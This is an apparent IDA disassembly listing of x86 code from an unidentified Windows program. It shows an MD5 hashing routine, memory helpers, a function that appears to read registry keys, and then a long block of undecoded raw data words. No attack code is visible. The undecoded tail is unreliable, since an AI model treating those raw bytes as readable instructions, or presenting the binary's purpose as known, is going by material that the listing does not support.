sub esp, 8
lea eax, [esp+8+var_8]
push esi
push edi
mov edi, [esp+10h+arg_4]
push 8
lea esi, [edi+10h]
push esi
push eax
call sub_435950
mov eax, [esi]
add esp, 0Ch
shr eax, 3
and eax, 3Fh
mov ecx, 38h
cmp eax, 38h
jb short loc_434D43
mov ecx, 78h
loc_434D43: ; CODE XREF: sub_434D10+2Cj
sub ecx, eax
push ecx
push offset aA ; "─"
push edi
call sub_401C26
lea ecx, [esp+1Ch+var_8]
push 8
push ecx
push edi
call sub_401C26
mov edx, [esp+28h+arg_0]
push 10h
push edi
push edx
call sub_435950
push 58h
push 0
push edi
call sub_435A60
add esp, 30h
pop edi
pop esi
add esp, 8
retn
sub_434D10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434DA0 proc near ; CODE XREF: sub_434C30+58p
; sub_434C30+73p
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 40h
mov ecx, [esp+40h+arg_4]
push ebx
push ebp
push esi
mov esi, [esp+4Ch+arg_0]
push edi
push 40h
lea edx, [esp+54h+var_40]
mov eax, [esi]
mov edi, [esi+4]
mov ebx, [esi+8]
mov ebp, [esi+0Ch]
push ecx
push edx
mov [esp+5Ch+arg_0], eax
call sub_4359C0
mov eax, edi
mov edx, [esp+5Ch+arg_0]
not eax
mov ecx, ebx
and eax, ebp
and ecx, edi
or eax, ecx
mov ecx, [esp+5Ch+var_40]
add eax, ecx
lea ecx, [edx+eax-28955B88h]
mov edx, edi
mov eax, ecx
shr eax, 19h
shl ecx, 7
or eax, ecx
add eax, edi
mov ecx, eax
and edx, eax
not ecx
and ecx, ebx
or ecx, edx
mov edx, [esp+5Ch+var_3C]
add ecx, edx
lea edx, [ecx+ebp-173848AAh]
mov ecx, edx
shr ecx, 14h
shl edx, 0Ch
or ecx, edx
add ecx, eax
mov edx, ecx
mov ebp, ecx
not edx
and edx, edi
and ebp, eax
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, ecx
lea ebx, [ebx+edx+242070DBh]
mov edx, ebx
shr edx, 0Fh
shl ebx, 11h
or edx, ebx
add edx, ecx
mov ebx, edx
and ebp, edx
not ebx
and ebx, eax
or ebx, ebp
mov ebp, [esp+5Ch+var_34]
add ebx, ebp
lea ebx, [edi+ebx-3E423112h]
mov edi, ebx
shl edi, 16h
shr ebx, 0Ah
or edi, ebx
mov ebx, edx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_30]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea eax, [eax+edi-0A83F051h]
mov edi, eax
shr edi, 19h
shl eax, 7
or edi, eax
add edi, ebx
mov eax, edi
and ebp, edi
not eax
and eax, edx
or eax, ebp
mov ebp, [esp+5Ch+var_2C]
add eax, ebp
lea ecx, [ecx+eax+4787C62Ah]
mov eax, ecx
shr eax, 14h
shl ecx, 0Ch
or eax, ecx
add eax, edi
mov ecx, eax
mov ebp, eax
not ecx
and ecx, ebx
and ebp, edi
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, eax
lea edx, [edx+ecx-57CFB9EDh]
mov ecx, edx
shr ecx, 0Fh
shl edx, 11h
or ecx, edx
add ecx, eax
mov edx, ecx
and ebp, ecx
not edx
and edx, edi
or edx, ebp
mov ebp, [esp+5Ch+var_24]
add edx, ebp
lea ebx, [ebx+edx-2B96AFFh]
mov edx, ebx
shl edx, 16h
shr ebx, 0Ah
or edx, ebx
mov ebx, ecx
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_20]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edi, [edi+edx+698098D8h]
mov edx, edi
shr edx, 19h
shl edi, 7
or edx, edi
add edx, ebx
mov edi, edx
and ebp, edx
not edi
and edi, ecx
or edi, ebp
mov ebp, [esp+5Ch+var_1C]
add edi, ebp
lea eax, [eax+edi-74BB0851h]
mov edi, eax
shr edi, 14h
shl eax, 0Ch
or edi, eax
add edi, edx
mov eax, edi
not eax
mov ebp, edi
and eax, ebx
and ebp, edx
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, edi
lea ecx, [ecx+eax-0A44Fh]
mov eax, ecx
shr eax, 0Fh
shl ecx, 11h
or eax, ecx
add eax, edi
mov ecx, eax
and ebp, eax
not ecx
and ecx, edx
or ecx, ebp
mov ebp, [esp+5Ch+var_14]
add ecx, ebp
lea ebx, [ebx+ecx-76A32842h]
mov ecx, ebx
shl ecx, 16h
shr ebx, 0Ah
or ecx, ebx
mov ebx, eax
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, edi
and ebx, ebp
mov ebp, [esp+5Ch+var_10]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edx, [edx+ecx+6B901122h]
mov ecx, edx
shr ecx, 19h
shl edx, 7
or ecx, edx
add ecx, ebx
mov edx, ecx
and ebp, ecx
not edx
and edx, eax
or edx, ebp
mov ebp, [esp+5Ch+var_C]
add edx, ebp
lea edi, [edi+edx-2678E6Dh]
mov edx, edi
shr edx, 14h
shl edi, 0Ch
or edx, edi
add edx, ecx
mov ebp, edx
mov edi, edx
not ebp
and edi, ecx
and ebx, ebp
or edi, ebx
mov ebx, [esp+5Ch+var_8]
add edi, ebx
mov ebx, edx
lea eax, [eax+edi-5986BC72h]
mov edi, eax
shr edi, 0Fh
shl eax, 11h
or edi, eax
add edi, edx
mov eax, edi
and ebx, edi
not eax
mov [esp+5Ch+arg_4], eax
and eax, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_4]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax+49B40821h]
mov eax, ebx
shl eax, 16h
shr ebx, 0Ah
or eax, ebx
mov ebx, edx
add eax, edi
mov [esp+5Ch+arg_0], eax
and ebx, eax
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_3C]
or ebx, eax
add ebx, ebp
mov ebp, edi
lea ecx, [ecx+ebx-9E1DA9Eh]
mov ebx, [esp+5Ch+arg_0]
mov eax, ecx
shr eax, 1Bh
shl ecx, 5
or eax, ecx
mov ecx, [esp+5Ch+arg_4]
add eax, ebx
and ecx, ebx
and ebp, eax
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edx, [edx+ecx-3FBF4CC0h]
and ebx, eax
mov ecx, edx
shr ecx, 17h
shl edx, 9
or ecx, edx
add ecx, eax
mov edx, ecx
and edx, ebp
mov ebp, [esp+5Ch+var_14]
or ebx, edx
add ebx, ebp
lea edi, [edi+ebx+265E5A51h]
mov edx, edi
shr edx, 12h
shl edi, 0Eh
or edx, edi
mov edi, eax
add edx, ecx
not edi
mov ebx, edx
and edi, ecx
and ebx, eax
or edi, ebx
mov ebx, [esp+5Ch+var_40]
add edi, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edi-16493856h]
mov edi, ebx
shl edi, 14h
shr ebx, 0Ch
or edi, ebx
mov ebx, ecx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov edi, ecx
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, edx
and ebx, ebp
mov ebp, [esp+5Ch+var_2C]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
lea eax, [eax+edi-29D0EFA3h]
mov edi, eax
shr edi, 1Bh
shl eax, 5
or edi, eax
mov eax, edx
add edi, ebx
not eax
mov ebp, edx
and eax, ebx
and ebp, edi
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea ecx, [ecx+eax+2441453h]
and ebx, edi
mov eax, ecx
shr eax, 17h
shl ecx, 9
or eax, ecx
add eax, edi
mov ecx, eax
and ecx, ebp
mov ebp, [esp+5Ch+var_4]
or ebx, ecx
add ebx, ebp
lea edx, [edx+ebx-275E197Fh]
mov ecx, edx
shr ecx, 12h
shl edx, 0Eh
or ecx, edx
mov edx, edi
add ecx, eax
not edx
mov ebx, ecx
and edx, eax
and ebx, edi
or edx, ebx
mov ebx, [esp+5Ch+var_30]
add edx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edx-182C0438h]
mov edx, ebx
shl edx, 14h
shr ebx, 0Ch
or edx, ebx
mov ebx, eax
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov edx, eax
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_1C]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ecx
lea edi, [edi+edx+21E1CDE6h]
mov edx, edi
shr edx, 1Bh
shl edi, 5
or edx, edi
mov edi, ecx
add edx, ebx
not edi
and edi, ebx
and ebp, edx
or edi, ebp
mov ebp, [esp+5Ch+var_8]
add edi, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea eax, [eax+edi-3CC8F82Ah]
and ebx, edx
mov edi, eax
shr edi, 17h
shl eax, 9
or edi, eax
add edi, edx
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_34]
or ebx, eax
add ebx, ebp
lea ecx, [ecx+ebx-0B2AF279h]
mov eax, ecx
shr eax, 12h
shl ecx, 0Eh
or eax, ecx
mov ecx, edx
add eax, edi
not ecx
mov ebx, eax
and ecx, edi
and ebx, edx
or ecx, ebx
mov ebx, [esp+5Ch+var_20]
add ecx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+ecx+455A14EDh]
mov ecx, ebx
shl ecx, 14h
shr ebx, 0Ch
or ecx, ebx
mov ebx, edi
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ecx, edi
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_C]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, eax
lea edx, [edx+ecx-561C16FBh]
mov ecx, edx
shr ecx, 1Bh
shl edx, 5
or ecx, edx
mov edx, eax
add ecx, ebx
not edx
and edx, ebx
and ebp, ecx
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edi, [edi+edx-3105C08h]
and ebx, ecx
mov edx, edi
shr edx, 17h
shl edi, 9
or edx, edi
add edx, ecx
mov edi, edx
and edi, ebp
mov ebp, [esp+5Ch+var_24]
or ebx, edi
add ebx, ebp
lea eax, [eax+ebx+676F02D9h]
mov edi, eax
shr edi, 12h
shl eax, 0Eh
or edi, eax
mov eax, ecx
add edi, edx
not eax
mov ebx, edi
and eax, edx
and ebx, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_10]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax-72D5B376h]
mov eax, ebx
shl eax, 14h
shr ebx, 0Ch
or eax, ebx
add eax, edi
mov ebp, [esp+5Ch+var_2C]
mov ebx, edx
xor ebx, edi
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_20]
lea ecx, [ecx+ebx-5C6BEh]
mov ebx, ecx
shr ebx, 1Ch
shl ecx, 4
or ebx, ecx
mov ecx, edi
add ebx, eax
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_14]
lea ecx, [edx+ecx-788E097Fh]
mov edx, ecx
shr edx, 15h
shl ecx, 0Bh
or edx, ecx
add edx, ebx
mov ecx, edx
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_8]
lea ecx, [edi+ecx+6D9D6122h]
mov edi, ecx
shr edi, 10h
shl ecx, 10h
or edi, ecx
mov ecx, edx
add edi, edx
xor ecx, edi
mov [esp+5Ch+arg_0], ecx
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_3C]
lea eax, [eax+ecx-21AC7F4h]
mov ecx, eax
shl ecx, 17h
shr eax, 9
or ecx, eax
mov eax, [esp+5Ch+arg_0]
add ecx, edi
xor eax, ecx
add eax, ebp
mov ebp, [esp+5Ch+var_30]
lea ebx, [ebx+eax-5B4115BCh]
mov eax, ebx
shr eax, 1Ch
shl ebx, 4
or eax, ebx
mov ebx, edi
add eax, ecx
xor ebx, ecx
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_24]
lea edx, [edx+ebx+4BDECFA9h]
mov ebx, edx
shr ebx, 15h
shl edx, 0Bh
or ebx, edx
add ebx, eax
mov edx, ebx
xor edx, ecx
xor edx, eax
add edx, ebp
lea edi, [edi+edx-944B4A0h]
mov edx, edi
shr edx, 10h
shl edi, 10h
or edx, edi
mov edi, ebx
add edx, ebx
xor edi, edx
mov ebp, edi
xor ebp, eax
add ebp, [esp+5Ch+var_18]
lea ebp, [ecx+ebp-41404390h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_C]
add ecx, edx
xor edi, ecx
add edi, ebp
mov ebp, [esp+5Ch+var_40]
lea edi, [eax+edi+289B7EC6h]
mov eax, edi
shr eax, 1Ch
shl edi, 4
or eax, edi
mov edi, edx
add eax, ecx
xor edi, ecx
xor edi, eax
add edi, ebp
mov ebp, [esp+5Ch+var_34]
lea ebx, [ebx+edi-155ED806h]
mov edi, ebx
shr edi, 15h
shl ebx, 0Bh
or edi, ebx
add edi, eax
mov ebx, edi
xor ebx, ecx
xor ebx, eax
add ebx, ebp
lea edx, [edx+ebx-2B10CF7Bh]
mov ebx, edx
shr ebx, 10h
shl edx, 10h
or ebx, edx
mov edx, edi
add ebx, edi
xor edx, ebx
mov ebp, edx
xor ebp, eax
add ebp, [esp+5Ch+var_28]
lea ebp, [ecx+ebp+4881D05h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_1C]
add ecx, ebx
xor edx, ecx
add edx, ebp
lea edx, [eax+edx-262B2FC7h]
mov eax, edx
shr eax, 1Ch
shl edx, 4
or eax, edx
mov edx, ebx
add eax, ecx
xor edx, ecx
xor edx, eax
add edx, [esp+5Ch+var_10]
lea edi, [edi+edx-1924661Bh]
mov edx, edi
shr edx, 15h
shl edi, 0Bh
or edx, edi
add edx, eax
mov edi, edx
xor edi, ecx
xor edi, eax
add edi, [esp+5Ch+var_4]
lea ebx, [ebx+edi+1FA27CF8h]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
mov ebx, edx
add edi, edx
xor ebx, edi
xor ebx, eax
add ebx, [esp+5Ch+var_38]
lea ecx, [ecx+ebx-3B53A99Bh]
mov ebx, ecx
shl ebx, 17h
shr ecx, 9
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_40]
lea eax, [eax+ecx-0BD6DDBCh]
mov ecx, eax
shr ecx, 1Ah
shl eax, 6
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_24]
lea edx, [edx+eax+432AFF97h]
mov eax, edx
shr eax, 16h
shl edx, 0Ah
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_8]
lea edi, [edi+edx-546BDC59h]
mov edx, edi
shr edx, 11h
shl edi, 0Fh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_2C]
lea ebx, [ebx+edi-36C5FC7h]
mov edi, ebx
shl edi, 15h
shr ebx, 0Bh
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_10]
lea ecx, [ecx+ebx+655B59C3h]
mov ebx, ecx
shr ebx, 1Ah
shl ecx, 6
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_34]
lea eax, [eax+ecx-70F3336Eh]
mov ecx, eax
shr ecx, 16h
shl eax, 0Ah
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_18]
lea edx, [edx+eax-100B83h]
mov eax, edx
shr eax, 11h
shl edx, 0Fh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_3C]
lea edi, [edi+edx-7A7BA22Fh]
mov edx, edi
shl edx, 15h
shr edi, 0Bh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_20]
lea ebx, [ebx+edi+6FA87E4Fh]
mov edi, ebx
shr edi, 1Ah
shl ebx, 6
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_4]
lea ecx, [ecx+ebx-1D31920h]
mov ebx, ecx
shr ebx, 16h
shl ecx, 0Ah
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_28]
lea eax, [eax+ecx-5CFEBCECh]
mov ecx, eax
shr ecx, 11h
shl eax, 0Fh
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_C]
lea edx, [edx+eax+4E0811A1h]
mov eax, edx
shl eax, 15h
shr edx, 0Bh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_30]
lea edi, [edi+edx-8AC817Eh]
mov edx, edi
shr edx, 1Ah
shl edi, 6
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_14]
lea ebx, [ebx+edi-42C50DCBh]
mov edi, ebx
shr edi, 16h
shl ebx, 0Ah
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
push 40h
xor ebx, edx
push 0
add ebx, [esp+64h+var_38]
lea ecx, [ecx+ebx+2AD7D2BBh]
mov ebx, ecx
shr ebx, 11h
shl ecx, 0Fh
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, ebp
mov ebp, [esi+8]
add ebp, ebx
lea eax, [eax+ecx-14792C6Fh]
mov ecx, [esi]
add ecx, edx
mov edx, eax
shl edx, 15h
shr eax, 0Bh
or edx, eax
mov eax, [esi+4]
add edx, ebx
mov ebx, [esi+0Ch]
add eax, edx
add ebx, edi
mov [esi+4], eax
lea eax, [esp+64h+var_40]
push eax
mov [esi], ecx
mov [esi+8], ebp
mov [esi+0Ch], ebx
call sub_435A60
add esp, 18h
pop edi
pop esi
pop ebp
pop ebx
add esp, 40h
retn
sub_434DA0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435950 proc near ; CODE XREF: sub_434D10+14p
; sub_434D10+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
mov edi, [esp+4+arg_8]
test edi, edi
jbe short loc_435997
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
push esi
or esi, 0FFFFFFFFh
lea eax, [edx+1]
sub esi, edx
loc_43596A: ; CODE XREF: sub_435950+44j
mov dl, [ecx]
add ecx, 4
mov [eax-1], dl
mov edx, [ecx-4]
shr edx, 8
mov [eax], dl
mov edx, [ecx-4]
shr edx, 10h
mov [eax+1], dl
mov edx, [ecx-4]
shr edx, 18h
mov [eax+2], dl
add eax, 4
lea edx, [esi+eax]
cmp edx, edi
jb short loc_43596A
pop esi
loc_435997: ; CODE XREF: sub_435950+7j
pop edi
retn
sub_435950 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4359C0 proc near ; CODE XREF: sub_434DA0+26p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
mov ebp, [esp+4+arg_8]
test ebp, ebp
jbe short loc_435A0A
mov ecx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, 0FFFFFFFEh
lea eax, [ecx+2]
sub edi, ecx
loc_4359DD: ; CODE XREF: sub_4359C0+46j
xor ecx, ecx
xor edx, edx
mov ch, [eax+1]
mov dl, [eax-1]
mov cl, [eax]
add eax, 4
shl ecx, 8
or ecx, edx
xor edx, edx
mov dl, [eax-6]
add esi, 4
shl ecx, 8
or ecx, edx
mov [esi-4], ecx
lea ecx, [edi+eax]
cmp ecx, ebp
jb short loc_4359DD
pop edi
pop esi
loc_435A0A: ; CODE XREF: sub_4359C0+7j
pop ebp
retn
sub_4359C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435A30 proc near ; CODE XREF: sub_434C30+4Ep
; sub_434C30+9Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
test esi, esi
jbe short loc_435A4C
mov eax, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
sub ecx, eax
loc_435A43: ; CODE XREF: sub_435A30+1Aj
mov dl, [ecx+eax]
mov [eax], dl
inc eax
dec esi
jnz short loc_435A43
loc_435A4C: ; CODE XREF: sub_435A30+7j
pop esi
retn
sub_435A30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435A60 proc near ; CODE XREF: sub_434D10+60p
; sub_434DA0+932p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
test ecx, ecx
jbe short locret_435A8E
mov al, [esp+arg_4]
push ebx
mov bl, al
mov edx, ecx
mov bh, bl
push edi
mov edi, [esp+8+arg_0]
mov eax, ebx
shl eax, 10h
mov ax, bx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
pop edi
pop ebx
locret_435A8E: ; CODE XREF: sub_435A60+6j
retn
sub_435A60 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_435AA0 proc near ; CODE XREF: sub_401C21j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_435AA0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 0Bh
push 3
push 4Fh
push 14h
push 5
lea eax, [esp+58h+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_435AA0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Dh
push 4Fh
push 14h
push 5
lea edx, [esp+30h]
push 7
push edx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
add esi, 32h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_435B90: ; CODE XREF: ___:loc_401F3Cj
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43D116
push eax
mov eax, 16D4h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
push esi
mov esi, [esp+16F0h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_436148
push 80h
mov dword ptr [esp+1Ch], 800h
nop
call near ptr 77C2C407h
add esp, 4
mov ebp, eax
lea eax, [esp+64h]
mov ecx, esi
push offset asc_444600 ; " "
push 1
push eax
call sub_4016B8
push 800h
mov dword ptr [esp+16F0h], 0
call sub_437AEA
; ---------------------------------------------------------------------------
db 8Bh
dd 51172C1Dh, 4C48300h, 0B9F88Bh, 33000002h, 0E43D89C0h
dd 0F3005103h, 7794BEABh, 4E8B0044h, 4C8D51FCh, 2DE85024h
dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h
dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h
dd 0FF50FFFCh, 4C483D7h, 1FEAE850h, 83907781h, 0C08508C4h
dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h
dd 0F0685204h, 55004445h, 1833E890h, 0B9001Ch, 33000002h
dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0E8BF0000h, 0F3005103h
dd 3E4A1ABh, 4C8D0051h, 948D1824h, 6E424h, 0C75100h, 0
dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D3068h
dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h, 94878Ah
dd 51500000h, 4D808568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch
dd 4BA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
dd 448F40h, 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h
dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
dd 424848Dh, 51000001h, 44C75250h, 4424h, 0E8900000h, 246A25Ch
dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
dd 0EF4h, 68575052h, 80000003h, 402444C7h, 800h, 47A217E8h
dd 0C0859002h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
dd 55004446h, 20244489h, 1C16C4E8h, 0B99000h, 33000002h
dd 24BC8DC0h, 6F4h, 0F310C483h, 100B9ABh, 0E8BF0000h, 0F3005103h
dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h
dd 24EA1BCh, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h
dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh
dd 0E8905210h, 24BA190h, 8D08568Bh, 8D182444h, 6E4248Ch
dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
dd 444D30h, 0E8694F8Dh, 0FFFCB62Dh, 938F8Ah, 8A500000h
dd 9487h, 68515000h, 4D8085h, 0FCB98EE8h, 1CC483FFh, 1024548Bh
dd 0A12AE852h, 8B90024Bh, 8B24247Ch, 47142444h, 7C89F83Bh
dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h
dd 10C683FFh, 79E4FE81h, 8C0F0044h, 0FFFFFD2Ah, 17642D8Bh
dd 448D0051h, 68501C24h, 20019h, 7068006Ah, 6800447Bh
dd 80000002h, 302444C7h, 0
dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
dd 6A525100h, 68006A00h, 448A2Ch, 85D3FF50h, 0BE850FC0h
dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B646800h
dd 0F08B0044h, 8A1C6851h, 0E8560044h, 1C154Dh, 4E6C6890h
dd 0E8560044h, 77809080h, 83F88B90h, 0FF851CC4h, 8D577574h
dd 802494h, 646A0000h, 6E89052h, 837780ACh, 0C0850CC4h
dd 448D5374h, 4687C24h, 5000448Ah, 1C9EE890h, 0C4837781h
dd 75C08508h, 24948B3Ch, 16F4h, 7C244C8Dh, 89E86851h, 4A8D0044h
dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h, 94h, 93908Ah
dd 52510000h, 4D808568h, 0B855E800h, 0C483FFFCh, 0E8905718h
dd 7780AAA5h, 8504C483h, 560A74F6h, 6201E890h, 0C483777Fh
dd 24448B04h, 0E890501Ch, 24B9FD8h, 1C244C8Dh, 182444C7h
dd 80h, 196851h, 6A0002h, 4489C068h, 26800h, 0D5FF8000h
